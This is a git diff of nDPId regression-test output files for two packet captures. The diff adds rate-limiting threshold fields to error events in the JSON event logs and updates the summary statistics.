00687{"packet_event_id":1,"packet_event_name":"packet","packet_id":90,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":305,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":305,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcoZEgAOcRGZODTlH+zLpQ5QA1hecG1xOqS+SFkwABAAAADAABC0NNSDBTLTUwNjI0BGRhYXMDZGxhA21pbAAAAQABwBgABgABAAAAPwAwCGVhZ2xlaWIxAmFkwB0LcmFuZHkuc21pdGjAHQExm5UAAAC0AAAAEgAJOoAAAAOEwBgALgABAAAAPwCgAAYIAwAAALRZLyttWSHuXTGGBGRhYXMDZGxhA21pbABfZgMcUaz74\/opjmPI6fIN7S4Ga9GN4s2JVqvb0uXXvbdLi9ee5JaFRYVlFB0RVerGRt3pX5esuSlY9ySHVHjOBX09ZI1nwdlSMxmFBY9ZemmmfYIR43tvzwqFnbufNVeL7\/vc0q83XBfNipWbDRE5bz+qVR8="} -00208{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":91,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":76,"global_ts_usec":1495451914068906} +00308{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451914068906,"packet_id":91,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":76,"global_ts_usec":1495451914068906} 00425{"packet_event_id":1,"packet_event_name":"packet","packet_id":91,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcXUggADgRPcyY2AuFzLpQ5QA1eM4GFPW9NOaEAwABAAAACAABC3NpcGludGVybmFsA2lycwNnb3YAAAEAASBlZmxia2RtZjJtY241ZWg0ZjB1OW9lZHN2bWFxODA="} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":92,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":452,"global_ts_usec":1495451914094306} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":4,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451914094306,"packet_id":92,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":452,"global_ts_usec":1495451914094306} 00932{"packet_event_id":1,"packet_event_name":"packet","packet_id":92,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":486,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":486,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFKAXcMaIgADQR\/37IE0oVzLpQ5QA1cggHjFp0zlSEEAABAAMABQAKA25zMgZwb3AtcHIDcm5wAmJyAAAcAAHADAAcAAEAAAEsABAoAQCCAAAABgAAAAAAAAAgwAwALgABAAABLAChABwFBAAAASxYVstzWC8+c5NwBnBvcC1wcgNybnACYnIA1\/aeIOiXLVAUlf7X0fXFedFXWKq9aABVNOZ7r5rykMv0fMN9YxDR4Cfp\/zKvuFMArhl0vnp4MXdTgWKEiqk59GY+\/xomF5ijzP3\/hVLiW7e0IYJ1yWiBQh1jhcv34Y3bAKrfDk1MJeqnDbo4Bp88Wdfr5Y21wV56qV8eT6SlXOXADAAuAAEAAAEsAKEAHAUEAAABLFhWy3NYLz5zpzoGcG9wLXByA3JucAJicgCVDEMFJZu9EAXpnfRWZ2RVItWA0n+KJu9IaIVJmIMhajSIQT3VrNMeLfYGRUUl45s\/7N7SoIMSnISlGlhJNpFBgZCcSGA0oztlFfMwzcS\/I5CcKCU3SWRb5uEagRV84Bme6gzJXmBlBbKvNmLJm1Vjve6LCM8hoD8VZqG7vv8jFcEKAAIAAQAAASwABQJuc8EKwQoAAgABAAABLAACwAzBCgAC"} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":93,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":240,"global_ts_usec":1495451915752227} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":5,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451915752227,"packet_id":93,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":240,"global_ts_usec":1495451915752227} 00647{"packet_event_id":1,"packet_event_name":"packet","packet_id":93,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":274,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":274,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcZssgAOcRVFmDTlH+zLpQ5QA1TRMGuBtHRUGFkwABAAAADAABCkhRMDFXRUYwMDEDRElSAkFEA0RMQQNNSUwAAAEAAcAeAAYAAQAAA2gALQhlYWdsZWliMcAbC3JhbmR5LnNtaXRowB53sikrAAAqMAAABDgACTqAAAADhMAeAC4AAQAAA2gAmwAGCAIAAAOEWS\/o5lkiq9Y2JANkbGEDbWlsAEPjY6zabVfm9vwk6mSh9m4kj9u7ZDlkxqtiglIZTh\/RONTC0jpNpQmC+rJg1+X5ptcybqG6dncq1KPvSJq3fG1w8VDIG7zJf7f6G9gikY9VMCGmBxLlsKtyxHORaw=="} -00559{"daemon_event_id":3,"daemon_event_name":"shutdown","thread_id":0,"packet_id":93,"source":"badpackets.pcap","alias":"nDPId-test","packets-captured":93,"packets-processed":0,"total-skipped-flows":0,"total-l4-payload-len":0,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":0,"total-detection-updates":0,"total-updates":0,"current-active-flows":0,"total-active-flows":0,"total-idle-flows":0,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":204,"global_ts_usec":1495451915752227} +00559{"daemon_event_id":3,"daemon_event_name":"shutdown","thread_id":0,"packet_id":93,"source":"badpackets.pcap","alias":"nDPId-test","packets-captured":93,"packets-processed":0,"total-skipped-flows":0,"total-l4-payload-len":0,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":0,"total-detection-updates":0,"total-updates":0,"current-active-flows":0,"total-active-flows":0,"total-idle-flows":0,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":194,"global_ts_usec":1495451915752227} ~~~~~~~~~~~~~~~~~~~~ SUMMARY ~~~~~~~~~~~~~~~~~~~~ ~~ packets captured/processed: 93/0 ~~ skipped flows.............: 0 @@ -214,6 +204,6 @@ ~~ total memory freed........: 6034017 bytes ~~ total allocations/frees...: 121477/121477 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -~~ json string min len.......: 212 chars +~~ json string min len.......: 312 chars ~~ json string max len.......: 2318 chars -~~ json string avg len.......: 1264 chars +~~ json string avg len.......: 1314 chars diff --git a/test/results/capwap.pcap.out b/test/results/capwap.pcap.out index def2a6978..444066014 100644 --- a/test/results/capwap.pcap.out +++ b/test/results/capwap.pcap.out @@ -7,17 +7,17 @@ 00558{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"capwap.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_src_last_pkt_time":1422328963915032,"flow_dst_last_pkt_time":1422328963915032,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"thread_ts_usec":1422328963915032,"pkt":"\/\/\/\/\/\/\/\/uDhh8wWsCABFAABFAAEAAP8R8PTAqAoK\/\/\/\/\/8BrADUAMQAA9LUBAAABAAAAAAAAF0NJU0NPLUNBUFdBUC1DT05UUk9MTEVSAAABAAE="} 01001{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":2,"source":"capwap.pcap","alias":"nDPId-test","flow_id":2,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1422328963915032,"flow_src_last_pkt_time":1422328963915032,"flow_dst_last_pkt_time":1422328963915032,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":41,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":41,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":41,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1422328963915032,"l3_proto":"ip4","src_ip":"192.168.10.10","dst_ip":"255.255.255.255","src_port":49259,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"cisco-capwap-controller","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} 00558{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"capwap.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":2,"flow_src_last_pkt_time":1422328966914891,"flow_dst_last_pkt_time":1422328963915032,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"thread_ts_usec":1422328966914891,"pkt":"\/\/\/\/\/\/\/\/uDhh8wWsCABFAABFAAIAAP8R8PPAqAoK\/\/\/\/\/8BrADUAMQAA9LUBAAABAAAAAAAAF0NJU0NPLUNBUFdBUC1DT05UUk9MTEVSAAABAAE="} -00184{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":4,"source":"capwap.pcap","alias":"nDPId-test","layer_type":351,"global_ts_usec":1422328970067630} +00284{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1422328970067630,"packet_id":4,"source":"capwap.pcap","alias":"nDPId-test","layer_type":351,"global_ts_usec":1422328970067630} 00759{"packet_event_id":1,"packet_event_name":"packet","packet_id":4,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":365,"pkt_type":351,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":365,"pkt_l4_len":0,"thread_ts_usec":1422328966914891,"pkt":"AQAMzMzMuDhh8wWsAV+qqgMAAAwgAAK0db0AAQAUQVBiODM4LjYxZjMuMDVhYwAFAPJDaXNjbyBJT1MgU29mdHdhcmUsIEMyNjAwIFNvZnR3YXJlIChBUDNHMi1LOVc4LU0pLCBWZXJzaW9uIDE1LjIoNClKQTEsIFJFTEVBU0UgU09GVFdBUkUgKGZjMikKVGVjaG5pY2FsIFN1cHBvcnQ6IGh0dHA6Ly93d3cuY2lzY28uY29tL3RlY2hzdXBwb3J0CkNvcHlyaWdodCAoYykgMTk4Ni0yMDEzIGJ5IENpc2NvIFN5c3RlbXMsIEluYy4KQ29tcGlsZWQgVHVlIDMwLUp1bC0xMyAyMjo1NyBieSBwcm9kX3JlbF90ZWFtAAYAG2Npc2NvIEFJUi1DQVAyNjAySS1RLUs5AAIAEQAAAAEBAcwABMCoCgoAAwAUR2lnYWJpdEV0aGVybmV0MAAEAAgAAAADAAsABQE="} -00184{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":5,"source":"capwap.pcap","alias":"nDPId-test","layer_type":351,"global_ts_usec":1422328971066732} +00284{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1422328971066732,"packet_id":5,"source":"capwap.pcap","alias":"nDPId-test","layer_type":351,"global_ts_usec":1422328971066732} 00759{"packet_event_id":1,"packet_event_name":"packet","packet_id":5,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":365,"pkt_type":351,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":365,"pkt_l4_len":0,"thread_ts_usec":1422328966914891,"pkt":"AQAMzMzMuDhh8wWsAV+qqgMAAAwgAAK0db0AAQAUQVBiODM4LjYxZjMuMDVhYwAFAPJDaXNjbyBJT1MgU29mdHdhcmUsIEMyNjAwIFNvZnR3YXJlIChBUDNHMi1LOVc4LU0pLCBWZXJzaW9uIDE1LjIoNClKQTEsIFJFTEVBU0UgU09GVFdBUkUgKGZjMikKVGVjaG5pY2FsIFN1cHBvcnQ6IGh0dHA6Ly93d3cuY2lzY28uY29tL3RlY2hzdXBwb3J0CkNvcHlyaWdodCAoYykgMTk4Ni0yMDEzIGJ5IENpc2NvIFN5c3RlbXMsIEluYy4KQ29tcGlsZWQgVHVlIDMwLUp1bC0xMyAyMjo1NyBieSBwcm9kX3JlbF90ZWFtAAYAG2Npc2NvIEFJUi1DQVAyNjAySS1RLUs5AAIAEQAAAAEBAcwABMCoCgoAAwAUR2lnYWJpdEV0aGVybmV0MAAEAAgAAAADAAsABQE="} -00184{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":6,"source":"capwap.pcap","alias":"nDPId-test","layer_type":351,"global_ts_usec":1422328972066724} +00284{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1422328972066724,"packet_id":6,"source":"capwap.pcap","alias":"nDPId-test","layer_type":351,"global_ts_usec":1422328972066724} 00759{"packet_event_id":1,"packet_event_name":"packet","packet_id":6,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":365,"pkt_type":351,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":365,"pkt_l4_len":0,"thread_ts_usec":1422328966914891,"pkt":"AQAMzMzMuDhh8wWsAV+qqgMAAAwgAAK0db0AAQAUQVBiODM4LjYxZjMuMDVhYwAFAPJDaXNjbyBJT1MgU29mdHdhcmUsIEMyNjAwIFNvZnR3YXJlIChBUDNHMi1LOVc4LU0pLCBWZXJzaW9uIDE1LjIoNClKQTEsIFJFTEVBU0UgU09GVFdBUkUgKGZjMikKVGVjaG5pY2FsIFN1cHBvcnQ6IGh0dHA6Ly93d3cuY2lzY28uY29tL3RlY2hzdXBwb3J0CkNvcHlyaWdodCAoYykgMTk4Ni0yMDEzIGJ5IENpc2NvIFN5c3RlbXMsIEluYy4KQ29tcGlsZWQgVHVlIDMwLUp1bC0xMyAyMjo1NyBieSBwcm9kX3JlbF90ZWFtAAYAG2Npc2NvIEFJUi1DQVAyNjAySS1RLUs5AAIAEQAAAAEBAcwABMCoCgoAAwAUR2lnYWJpdEV0aGVybmV0MAAEAAgAAAADAAsABQE="} -00185{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":10,"source":"capwap.pcap","alias":"nDPId-test","layer_type":375,"global_ts_usec":1422328982066392} +00285{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":4,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1422328982066392,"packet_id":10,"source":"capwap.pcap","alias":"nDPId-test","layer_type":375,"global_ts_usec":1422328982066392} 00792{"packet_event_id":1,"packet_event_name":"packet","packet_id":10,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":389,"pkt_type":375,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":389,"pkt_l4_len":0,"thread_ts_usec":1422328966914891,"pkt":"AQAMzMzMuDhh8wWsAXeqqgMAAAwgAAK0iX0AAQAUQVBiODM4LjYxZjMuMDVhYwAFAPJDaXNjbyBJT1MgU29mdHdhcmUsIEMyNjAwIFNvZnR3YXJlIChBUDNHMi1LOVc4LU0pLCBWZXJzaW9uIDE1LjIoNClKQTEsIFJFTEVBU0UgU09GVFdBUkUgKGZjMikKVGVjaG5pY2FsIFN1cHBvcnQ6IGh0dHA6Ly93d3cuY2lzY28uY29tL3RlY2hzdXBwb3J0CkNvcHlyaWdodCAoYykgMTk4Ni0yMDEzIGJ5IENpc2NvIFN5c3RlbXMsIEluYy4KQ29tcGlsZWQgVHVlIDMwLUp1bC0xMyAyMjo1NyBieSBwcm9kX3JlbF90ZWFtAAYAG2Npc2NvIEFJUi1DQVAyNjAySS1RLUs5AAIAEQAAAAEBAcwABMCoCgoAAwAWR2lnYWJpdEV0aGVybmV0MC4xAAQACAAAAAMACwAFAQAQAAYyyAAZABCkjQAAAAA8KAAAMsg="} -00185{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":11,"source":"capwap.pcap","alias":"nDPId-test","layer_type":383,"global_ts_usec":1422328989070227} +00285{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":5,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1422328989070227,"packet_id":11,"source":"capwap.pcap","alias":"nDPId-test","layer_type":383,"global_ts_usec":1422328989070227} 00804{"packet_event_id":1,"packet_event_name":"packet","packet_id":11,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":397,"pkt_type":383,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":397,"pkt_l4_len":0,"thread_ts_usec":1422328966914891,"pkt":"AQAMzMzMuDhh8wWsAX+qqgMAAAwgAAK0cl0AAQAUQVBiODM4LjYxZjMuMDVhYwAFAPJDaXNjbyBJT1MgU29mdHdhcmUsIEMyNjAwIFNvZnR3YXJlIChBUDNHMi1LOVc4LU0pLCBWZXJzaW9uIDE1LjIoNClKQTEsIFJFTEVBU0UgU09GVFdBUkUgKGZjMikKVGVjaG5pY2FsIFN1cHBvcnQ6IGh0dHA6Ly93d3cuY2lzY28uY29tL3RlY2hzdXBwb3J0CkNvcHlyaWdodCAoYykgMTk4Ni0yMDEzIGJ5IENpc2NvIFN5c3RlbXMsIEluYy4KQ29tcGlsZWQgVHVlIDMwLUp1bC0xMyAyMjo1NyBieSBwcm9kX3JlbF90ZWFtAAYAG2Npc2NvIEFJUi1DQVAyNjAySS1RLUs5AAIAEQAAAAEBAcwABMCoCgoAAwAWR2lnYWJpdEV0aGVybmV0MC4xAAQACAAAAAMACwAFAQAPAAggAAAAABAABjLIABkAEKSNAAAAADwoAAAyyA=="} -00185{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":12,"source":"capwap.pcap","alias":"nDPId-test","layer_type":383,"global_ts_usec":1422328993294069} +00285{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":6,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1422328993294069,"packet_id":12,"source":"capwap.pcap","alias":"nDPId-test","layer_type":383,"global_ts_usec":1422328993294069} 00804{"packet_event_id":1,"packet_event_name":"packet","packet_id":12,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":397,"pkt_type":383,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":397,"pkt_l4_len":0,"thread_ts_usec":1422328966914891,"pkt":"AQAMzMzMuDhh8wWsAX+qqgMAAAwgAAK0cl0AAQAUQVBiODM4LjYxZjMuMDVhYwAFAPJDaXNjbyBJT1MgU29mdHdhcmUsIEMyNjAwIFNvZnR3YXJlIChBUDNHMi1LOVc4LU0pLCBWZXJzaW9uIDE1LjIoNClKQTEsIFJFTEVBU0UgU09GVFdBUkUgKGZjMikKVGVjaG5pY2FsIFN1cHBvcnQ6IGh0dHA6Ly93d3cuY2lzY28uY29tL3RlY2hzdXBwb3J0CkNvcHlyaWdodCAoYykgMTk4Ni0yMDEzIGJ5IENpc2NvIFN5c3RlbXMsIEluYy4KQ29tcGlsZWQgVHVlIDMwLUp1bC0xMyAyMjo1NyBieSBwcm9kX3JlbF90ZWFtAAYAG2Npc2NvIEFJUi1DQVAyNjAySS1RLUs5AAIAEQAAAAEBAcwABMCoCgoAAwAWR2lnYWJpdEV0aGVybmV0MC4xAAQACAAAAAMACwAFAQAPAAggAAAAABAABjLIABkAEKSNAAAAADwoAAAyyA=="} 00761{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":18,"source":"capwap.pcap","alias":"nDPId-test","flow_id":3,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1422329005766358,"flow_src_last_pkt_time":1422329005766358,"flow_dst_last_pkt_time":1422329005766358,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":123,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":123,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":123,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1422329005766358,"l3_proto":"ip4","src_ip":"192.168.10.10","dst_ip":"255.255.255.255","src_port":12380,"dst_port":5246,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00671{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"capwap.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_src_last_pkt_time":1422329005766358,"flow_dst_last_pkt_time":1422329005766358,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":165,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":165,"pkt_l4_len":131,"thread_ts_usec":1422329005766358,"pkt":"\/\/\/\/\/\/\/\/uDhh8wWsCABFwACXAARAAP8Rr9\/AqAoK\/\/\/\/\/zBcFH4AgwAAACACEAAAAAAGWAogaQ4g6AAAAAEAAGYAABQAAQAAJwAoAgIAAQBAlgAAAAAEAQAAAABAlgAAAQAEBwVmAABAlgAAAgAEDAQZAAApAAEEACwAAQEAJQAKAECWAADPAQAAAQAlABYAQJYAAAVBUGI4MzguNjFmMy4wNWFj"} @@ -36,7 +36,7 @@ 00720{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":117,"source":"capwap.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":2,"flow_src_last_pkt_time":1422329018033268,"flow_dst_last_pkt_time":1422329017533285,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"thread_ts_usec":1422329018033268,"pkt":"JOmzR64guDhh8wWsCABFwADDAAJAAEARpATAqAoKwKgKCTBcFH8ArwAAACADIAAAAAABBAAAAAAAAABAAABYCiBpDiAAAAAAAABYCiBpDiAAAN0JAECWJQEFL9Qy3RsAQJYlAAEcq6fyE50AAEkACwAFKFJLQAQC3ePdGwBAliUAARyrp\/ITnQAAHQALAAUtdhsgDQK\/xN0bAECWJQABHKun8hOdAAAOAAsABS9iq+AIAt7o3RsAQJYlAAEcq6fyE50AAAwACwAFL7WkAA0C3+g="} 00838{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":118,"source":"capwap.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":3,"flow_src_last_pkt_time":1422329018533282,"flow_dst_last_pkt_time":1422329017533285,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":296,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":296,"pkt_l4_len":262,"thread_ts_usec":1422329018533282,"pkt":"JOmzR64guDhh8wWsCABFwAEaAANAAEARo6zAqAoKwKgKCTBcFH8BBgAAACADIAAAAAABBAAAAAAAAABAAABYCiBpDiAAAAAAAABYCiBpDiAAAN0JAECWJQEFN3Va3RsAQJYlAAEcq6fyE50AACMACwAFMGt3IAoC5+ndGwBAliUAARyrp\/ITnQAAEwALAAUwdLNADQLo6d0bAECWJQABZICZPC30AAADAAsABTJ3KPD9AqWm3RsAQJYlAAH4Ht\/dIQ8AAB8ACwAFNejwUJoCvcLdGwBAliUAAfge390hDwAAEgALAAU2FOxglQK9wt0bAECWJQAB+B7f3SEPAAAcAAsABTZHxnCRAr\/A3RsAQJYlAAH4Ht\/dIQ8AAAcACwAFN246sJsCvr4="} 00760{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":176,"source":"capwap.pcap","alias":"nDPId-test","flow_id":2,"flow_state":"info","flow_src_packets_processed":2,"flow_dst_packets_processed":0,"flow_first_seen":1422328963915032,"flow_src_last_pkt_time":1422328966914891,"flow_dst_last_pkt_time":1422328963915032,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":41,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":41,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":82,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1422329025532954,"l3_proto":"ip4","src_ip":"192.168.10.10","dst_ip":"255.255.255.255","src_port":49259,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} -00186{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":192,"source":"capwap.pcap","alias":"nDPId-test","layer_type":375,"global_ts_usec":1422329034072795} +00286{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1422329034072795,"packet_id":192,"source":"capwap.pcap","alias":"nDPId-test","layer_type":375,"global_ts_usec":1422329034072795} 00793{"packet_event_id":1,"packet_event_name":"packet","packet_id":192,"source":"capwap.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":389,"pkt_type":375,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":389,"pkt_l4_len":0,"thread_ts_usec":1422329034032779,"pkt":"AQAMzMzMuDhh8wWsAXeqqgMAAAwgAAK0KHQAAQAUQVBiODM4LjYxZjMuMDVhYwAFAPJDaXNjbyBJT1MgU29mdHdhcmUsIEMyNjAwIFNvZnR3YXJlIChBUDNHMi1LOVc4LU0pLCBWZXJzaW9uIDE1LjIoNClKQTEsIFJFTEVBU0UgU09GVFdBUkUgKGZjMikKVGVjaG5pY2FsIFN1cHBvcnQ6IGh0dHA6Ly93d3cuY2lzY28uY29tL3RlY2hzdXBwb3J0CkNvcHlyaWdodCAoYykgMTk4Ni0yMDEzIGJ5IENpc2NvIFN5c3RlbXMsIEluYy4KQ29tcGlsZWQgVHVlIDMwLUp1bC0xMyAyMjo1NyBieSBwcm9kX3JlbF90ZWFtAAYAG2Npc2NvIEFJUi1DQVAyNjAySS1RLUs5AAIAEQAAAAEBAcwABMCoCgoAAwAWR2lnYWJpdEV0aGVybmV0MC4xAAQACAAAAAMACwAFAQAQAAY8KAAZABCkjQABAAA8KAAAMsg="} 02189{"flow_event_id":5,"flow_event_name":"analyse","thread_id":0,"packet_id":222,"source":"capwap.pcap","alias":"nDPId-test","flow_id":5,"flow_state":"finished","flow_src_packets_processed":32,"flow_dst_packets_processed":0,"flow_first_seen":1422329017533285,"flow_src_last_pkt_time":1422329049032294,"flow_dst_last_pkt_time":1422329017533285,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":80,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":283,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":4909,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1422329049032294,"l3_proto":"ip4","src_ip":"192.168.10.10","dst_ip":"192.168.10.9","src_port":12380,"dst_port":5247,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"data_analysis": {"iat": {"min":499857,"avg":1016097.1,"max":3999845,"stddev":875106.2,"var":765810835456.0,"ent":4.6,"data": [499983,500014,499872,2999961,499995,500031,499980,499982,499890,499986,499975,499998,499999,999998,999993,500014,2999827,1000005,999991,500032,1999814,500016,499990,999989,500017,1499983,499857,1999983,999996,999993,3999845]},"pktlen": {"min":108,"avg":181.4,"max":311,"stddev":58.4,"var":3415.7,"ent":4.9,"data": [108,195,282,137,224,137,108,195,311,137,108,108,137,282,137,195,195,282,137,195,108,253,166,195,195,195,253,137,108,195,224,166]},"bins": {"c_to_s": [0,0,6,7,2,9,2,5,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],"s_to_c": [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]},"directions": [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],"entropies": [4.322847843,4.775271893,5.243394375,4.682712078,4.886671543,4.761803627,4.409015179,4.971165657,5.125069618,4.609245777,4.380640507,4.355712414,4.823248386,4.982461452,4.627756596,4.929459095,4.873090267,5.032708645,4.636066914,4.873720646,4.399159431,4.936395168,4.818520069,5.070401192,4.945625305,4.792158127,4.963052750,4.698768139,4.306179047,4.887980938,4.937054634,4.651456833]},"ndpi": {"confidence": {"6":"DPI"},"proto":"CAPWAP","proto_id":"247","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 